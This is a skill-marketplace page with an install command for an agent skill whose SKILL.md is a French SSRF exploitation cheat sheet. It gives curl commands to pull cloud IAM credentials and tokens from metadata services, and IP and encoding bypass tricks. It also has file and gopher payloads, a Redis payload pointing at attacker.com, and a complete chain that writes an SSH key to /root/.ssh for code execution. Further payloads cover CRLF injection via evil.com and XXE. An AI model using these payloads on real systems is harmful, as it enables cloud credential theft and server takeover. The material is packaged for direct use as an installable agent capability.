القائمة
Guide complet d'exploitation SSRF (Server-Side Request Forgery) — blind SSRF, cloud metadata, bypass, outils et payloads
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/JohnNuwan/EVA_CORE --skill ssrf-exploitation-avanceeيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | ssrf-exploitation-avancee |
| description | Guide complet d'exploitation SSRF (Server-Side Request Forgery) — blind SSRF, cloud metadata, bypass, outils et payloads |
| category | cybersecurite |
Le Server-Side Request Forgery (SSRF) force le serveur à effectuer des requêtes HTTP vers des destinations choisies par l'attaquant. C'est l'une des vulnérabilités web les plus critiques (OAT-2016-003, OWASP Top 10).
Le serveur renvoie directement la réponse de la requête forgée dans la réponse HTTP.
Le serveur effectue la requête mais ne renvoie pas la réponse. Détection via callback (interaction externe) ou time-based.
Le contenu n'est pas renvoyé, mais on observe des changements d'état secondaires (logs, erreurs, time).
AWS (IMDSv1):
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
AWS (IMDSv2 — nécessite PUT token):
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: $TOKEN"
GCP:
curl http://metadata.google.internal/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure:
curl http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata: true"
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ -H "Metadata: true"
DigitalOcean:
curl http://169.254.169.254/metadata/v1.json
Alibaba:
curl http://100.100.100.200/latest/meta-data/
Bypass IP/Whitelist:
# Redirection HTTP
http://evil.com -> 301 -> http://169.254.169.254
# DNS Rebinding (TOCTOU)
# 1ère requête DNS -> IP légitime
# 2ème requête DNS -> 169.254.169.254
# URL Shorteners
http://shorturl.at/ -> 169.254.169.254
# Decimal IP
http://2852039166/ # = 169.254.169.254
# Hex IP
http://0xA9FEA9FE/ # = 169.254.169.254
# Octal IP
http://0251.0376.0251.0376/
# IPv6
http://[::ffff:169.254.169.254]/
# DNS resolution tricks
http://169.254.169.254.nip.io/
# Unicode bypass
http://①②⑨.②⑤④.①⑥⑨.②⑤④/ # peut bypasser certaines regex
Bypass par encodage d'URL:
# Double URL encoding
%2561 -> %61 -> a
# Encodage Unicode dans les chemins
http://victim.com/%EF%BC%AF%E2%88%95%E2%88%95 (// bypass)
Bypass par protocole alternatif:
file:///etc/passwd
dict://localhost:6379/info
gopher://localhost:6379/_*1%0d%0a$4%0d%0aPING
ftp://attacker.com/
ldap://localhost:389/
smtp://localhost:25/
Service Discovery (Port Scanning via SSRF):
# Tester des ports internes via le temps de réponse
# http://localhost:22 -> rapide (refusé ou timeout différent)
# http://localhost:3306 -> temps différent si MySQL tourne
Protocoles Internes Ciblés:
Attaque via Gopher:
# Redis RCE via Gopher SSRF
gopher://redis:6379/_*1%0d%0a$4%0d%0aSLAVEOF%0d%0a$15%0d%0aattacker.com%0d%0a$4%0d%0a6379%0d%0a
Collaborator / Callback Services:
# Burp Collaborator
# interactsh (OOB)
https://oastify.com/
https://webhook.site/
# Dnslog.cn
http://dnslog.cn
Techniques OOB (Out-of-Band):
| Outil | Description |
|---|---|
| BurpSuite Collaborator | Détection blind SSRF via DNS/HTTP |
| SSRFMap | Automatisation test SSRF |
| Gopherus | Génération payloads gopher |
| HTTPLoot | Capture de requêtes for review |
| Interactsh | plateforme OOB collaborative |
| Nuclei (ssrf templates) | templates automatisés |
| Autorize (Burp) | SSRF via ACL bypass |
Jenkins Script Console:
http://jenkins:8080/script -> POST avec payload Groovy
Tomcat Manager:
http://tomcat:8080/manager/html -> déploiement WAR
Hadoop YARN ResourceManager:
http://yarn:8088/ws/v1/cluster/apps -> soumission application malveillante
AWS Userdata:
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/instance-id
Modification CloudFormation (AWS SSRF + Privesc):
{
"Parameters": {
"LambdaFunctionArn": "arn:aws:lambda:us-east-1:...:function:malicious"
}
}
# Chaîne complète: SSRF -> Redis -> SSH Key -> RCE
gopher://redis:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0asshh%0d%0a$7%0d%0aSSH_KEY%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adir%0d%0a$18%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# 1. URL accepte une redirection
http://victim.com/redirect?url=http://169.254.169.254
# Utiliser 1u.ms ou rebind.it
# Phase 1: DNS resolve -> IP légitime
# Phase 2: DNS resolve -> 169.254.169.254
# Entre les phases TTL court + cache miss
GET /ssrf?url=http://evil.com/redirect%0d%0aLocation:%20http://169.254.169.254
Transfer-Encoding: chunked
...
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>